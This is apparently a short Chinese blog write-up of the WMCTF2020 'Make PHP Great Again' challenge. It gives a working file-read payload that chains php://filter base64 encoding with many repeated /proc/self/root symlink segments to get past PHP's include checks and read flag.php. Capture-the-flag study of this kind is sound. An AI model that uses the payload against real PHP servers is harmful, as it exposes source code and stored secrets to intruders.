[WMCTF2020]Make PHP Great Again

[WMCTF2020]Make PHP Great Again

0x01前言

  • php小技巧

0x02php小技巧

/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。

payload=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

好像太长了就不行

[WMCTF2020]Make PHP Great Again

上一篇:关机程序代码


下一篇:Java之使用分治算法解决斐波那契数列问题(Fibonacci Again)